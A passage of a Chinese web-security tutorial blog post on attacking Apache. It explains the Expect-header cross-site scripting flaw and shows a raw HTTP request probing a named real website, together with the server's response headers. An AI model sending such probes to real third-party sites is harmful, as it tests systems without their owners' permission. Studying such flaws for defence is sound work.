Web安全实践（9）攻击apache

核心提示：前言 web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案（第二版）》的内容做的实践研究和部分编程实现，所以如果您能完全理解那本书可以跳过本文章，Web安全实践（9）攻击apache， 另外我需要更多的像我一样的人来参与这项工作，QQ群：23364518，仍然存在问题， 对网址

前言

web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案（第二版）》的内容做的实践研究和部分编程实现。所以如果您能完全理解那本书可以跳过本文章。

另外我需要更多的像我一样的人来参与这项工作。QQ群：23364518，我的QQ：717532978. 博客园内的请加入技术安全区。

这次提供的漏洞都是平时积累来的，但是只有很少的我具体实际过，时间和精力有限，更多的技术上的东西还希望大家提供并讨论。

正文

9.1Expect跨站漏洞

Apache在接收Expect这个HTTP报头会直接输出报头的错误信息，错误信息的内容并没有被转义。这个漏洞本来以为会随着apathe的升级而消失，但是在网上随便找了几个php的服务器，发现很多并没有升级，仍然存在问题。

对网址http://safesurf.china.cn/data_form.php做了一个简单测试。发送请求为：

GET /data_form.php HTTP/1.1
Host: safesurf.china.cn
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip,deflate
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Expect: abcd

我在最后添加了一个Expect: abcd的请求。得到相应如下：

HTTP/1.x 417 Expectation Failed
Date: Wed, 12 Nov 2008 01:46:21 GMT
Server: Apache/1.3.29 (Unix) PHP/4.3.4
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1